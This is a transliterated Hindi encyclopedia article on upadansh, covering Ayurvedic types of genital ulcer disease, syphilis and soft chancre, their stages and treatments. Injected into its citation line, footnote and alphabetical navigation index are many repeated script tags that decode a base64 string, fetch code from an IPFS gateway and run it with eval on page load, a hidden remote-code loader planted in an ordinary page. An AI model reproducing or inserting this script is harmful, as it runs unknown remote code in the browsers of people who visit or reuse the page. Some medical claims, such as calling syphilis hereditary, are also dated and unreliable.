उपदंश

upadansh ek prakar ka guhy rog hai. ayarved mean upadansh ke paanch bhed batae ge haian jinhean kramash:, vat, pitt, kaph, tridosh evan rakt ki vikriti ke karan hona bataya gaya hai. isaki utpatti ke karanoan ke mukhy roop se aghat, ashauch tatha pradusht yonivali stri ke sath sansarg bataya gaya hai. is prakar yah ek aupasargik vyadhi hai jisamean shishn par bran pae jate haian. doshabhed se inake lakshanoan mean bhed milata hai. uchit chikitsa n karane par sanpoorn liang s d galakar gir sakata hai aur bina shishn ke aandakosh rah jate haian.

vataj upadansh mean sooee chubhane ya shastrabhedan sarikhi pi da hoti hai. paittik upadansh mean shighr hi pila pooy p d jata hai aur usamean kled, dah evan lalima rahati hai. kaphaj upadansh mean khujali hoti hai par pi da aur pak ka sarvatha abhav rahata hai. yah saphed, ghan tatha jaliy sravayukt hota hai. tridoshaj mean nana prakar ki vyatha hoti hai aur mishrit lakshan milate haian. raktaj upadansh mean vran se raktasrav bahut adhik hota rahata hai aur rogi bahut durbal ho jata hai. isamean paittik lakshan bhi milate haian.

is prakar ayurved mean upadansh shishn ki anek vyadhiyoan ka samooh maloom p data hai jisamean sifilis, s aaupht shaiankar evan shishn ke kaiansar sabhi sammilit haian.

ek vishesh prakar ka upadansh jo phirang desh mean bahut adhik prachalit tha aur jab bharatavarsh mean ve log ae to unake sanpark se yahaan bhi gandh ke saman vah phailane laga to us samay ke vaidyoan ne, jinamean bhav mishr pradhan haian, usaka nam phirang rog rakha diya. ise agantuj vyadhi bataya gaya arthath‌ isaka karan hetu jivanu bahar se pravesh karata hai. nidan mean kaha gaya hai ki phirang desh ke manushyoan ke sansarg se tatha visheshakar phirang desh ki striyoan ke sath prasang karane se yah rog utpann hota hai. yah do prakar ka hota hai ek bahy evan doosara abhyantar. bahy mean shishn aur par aur kalaantar mean tvacha par visphot hota hai. abhyantar mean sandhiyoan, asthiyoan tatha any avayavoan mean vikriti ho jati hai. jab yah bimari badh jati hai to daurbaly, nasabhang, agnimaandy, asthishosh evan asthivakrata adi lakshan utpann ho jate haian.

vastut: phirang rog upadansh se bhinn vyadhi nahian hai balki usi ka ek bhed matr hai. bahut log ise paryay bhi manane lage haian.

adhunik drishti se shishn ke hvranoan ke do mukhy bhed haian-hard shaiankar (hard chanchre) evan saft shaiankar (soft chanchre). isamean pratham to triponima pailidam (treponema pallidum) jivanu se tatha dvitiy himofilasadyooki (haemothilusducreyi) ke karan hota hai. isamean pahale ko phirang aur doosare ko upadansh man sakate haian. sifilis (syphlilis) tin avasthaean hoti haian. pradusht stri ke sath sanbhog karane par das din se das saptah ke aandar shishn par ek chhote batan ke akar kakathin, sravayukt, vedanarahit shoth ho jata hai jo bina kisi chikitsa ke bhi shaant ho jata hai. tatsanbandhi lasika granthiyoan mean bhi shoth ho jata hai; parantu usamean bhi pak nahian hota hai. yah rog ki pratham avastha hai. dvitiy avastha upasarg ke tin se chhah mal bad utpann hoti hai jisamean daurbaly, shir:shool tatha samany khaansi ke sath-sath nimnaankit char prakar ki vikritiyaan hoti haian :

1. tvacha visphot-tamr varn ke visphot poore sharir mean pae jate haian jinamean n vedana hoti hai n kandoo.

2. granthi-nam sthan mean, visheshakar guda ke kinare, ek granthi ban jati hai. yah bhi lagabhag vedanarahit hoti hai.

3. shleshmik-kala-visphot-yah visheshakar mukh mean paya jata hai. isamean lal rang ke anek hvran mukh ki shleshmik kala mean ho jate haian jo saphed jhilli se dhake rahate haian.

4. lasika-granthi-shoth-sharir ki sabhi lasika granthiyoan mean shoth ho jata hai.

isamean charoan prakar ki vikritiyoan ka hona avashyak nahian hai. koee ek ya ek se adhik ek sath paee ja sakati hai. kuchh mas pashchath‌ in vikritiyoan ka shaman ho jata hai aur do varsh se 30 varsh ke pashchath‌ utpann ho sakata hai, jaise tvacha, asthi, sandhi, jihva, snayu. prabhavit avayav mean grainyooleshan tishoo ka ekatrikaran ho jata hai aur gaanthean ban jati haian jisase avayav ke kary mean badha utpann ho jati hai. ye gaanthean bhi vedanarahit hoti haian.

yah rog anuvanshik bhi hota he. mata pita mean hone se isake jivanu garbhavastha mean hi garbh mean pravisht ho jate haian aur janmajat shishu mean tatha kalaantar mean is rog ke lakshan usake aandar pae jate haian. bachcha utpann hote hi bahut durbal, shushk ho sakata hai jo shighr hi mar jata hai. jivit rahane par tvacha par tatha alyantar avayav mean, daant, aankh tatha snayuoan mean vikriti utpann hoti hai.

is rog ka nidan lakshanoan se tatha vibhinn sravoan se jivanu ke pratyakshikaran se, vasaramain tatha kan vidhi se rakt ki pariksha karake ki jati hai.

isaki chikitsa ka parad ka sarvapratham prayog bharatavarsh mean hua, tadanantar sankhiya ka prayog saphal paya gaya. ajakal isaki chikitsa penisilin se ki jati hai. is aushadhi ke avishkar se isake hridrog pakshabadh tatha anuvanshik hona adi bhayankar parinam ajakal kam milate haian.

isamean pradusht stri se sansarg karane se, do tin din ke aandar lal raktavarn ka shoth shishn par ho jata hai. isamean vedana, pak, pooyanirman bahutayat se hota hai. hvranoan ki sankhya bahudha anek ho jati hai aur vankshan pradesh ki lasika granthiyoan mean bhi shoth ho jata hai aur vankshan pradesh ki lasika granthiyoan mean bhi shoth ho jata hai jisamean pooy p d jata hai. is prakar ke lakshan sifilis se bilkul viparit hote haian. isaki chikitsa tetrasaiklin, streptomaisin evan klorophenikal ke dvara saphalatapoorvak ki ja sakati hai.

is prakar hard shaiankar ya sapht shaiankar donoan ko upadansh mean sammilit kiya ja sakata hai aur sifilis ko phirang ki sanjna di ja sakati hai. ab inaki chikitsa sugam evan saphal ho gee hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 115 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 115 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

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sanbandhit lekh

varnamala kramanusar lekh khoj

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